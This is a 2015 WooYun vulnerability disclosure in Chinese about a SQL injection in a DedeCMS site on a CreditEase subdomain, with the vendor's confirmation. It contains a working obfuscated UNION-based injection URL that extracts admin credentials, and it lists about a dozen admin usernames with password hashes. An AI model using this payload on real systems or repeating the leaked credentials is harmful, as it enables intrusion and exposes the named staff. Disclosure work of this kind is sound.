当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0126962

漏洞标题：宜信某子站高危SQL注入漏洞可Getshell

相关厂商：宜信

漏洞作者： 黑暗游侠

提交时间：2015-07-15 16:43

修复时间：2015-08-30 10:16

公开时间：2015-08-30 10:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-15： 细节已通知厂商并且等待厂商处理中
2015-07-16： 厂商已经确认，细节仅向厂商公开
2015-07-26： 细节向核心白帽子及相关领域专家公开
2015-08-05： 细节向普通白帽子公开
2015-08-15： 细节向实习白帽子公开
2015-08-30： 细节向公众公开

简要描述：

宜信某子站高危SQL注入漏洞可getshell

详细说明：

站点地址：

http://cecms.yixin.com


36.png


用的是存在漏洞的dedecms
POC：

http://cecms.yixin.com/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9%20from%20`%23@__admin`%23


注入管理员账号面码

admin#180cf695d8fd8472c367,liyuying#453eb63e522375dbc251,zhouyan#d95c0789af787c79ad1e,changruidi#3e610d5a291766fc2b98,liusiyan#2c4f7496a90b5ff17608,xinwang#70428530096c4c42c21b,pingxiaduan#4c90e3c89ddfb413c678,fangsui#072c6f65d2904be5f78e,dongyanwei#1135990035c805857be4,sunyi#f3e305123f78e19cd71c,wangshumei#88869349902b09bdd89e,huangzhihui


dedecms，进后台可以直接getshell

漏洞证明：

这个不能算小厂商吧。。。。不求上首页，只求走正常流程rank

修复方案：

赶紧修复吧

版权声明：转载请注明来源 黑暗游侠@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-07-16 10:14

厂商回复：

感谢对宜信安全的关注。已经开始着手进行修复

最新状态：

暂无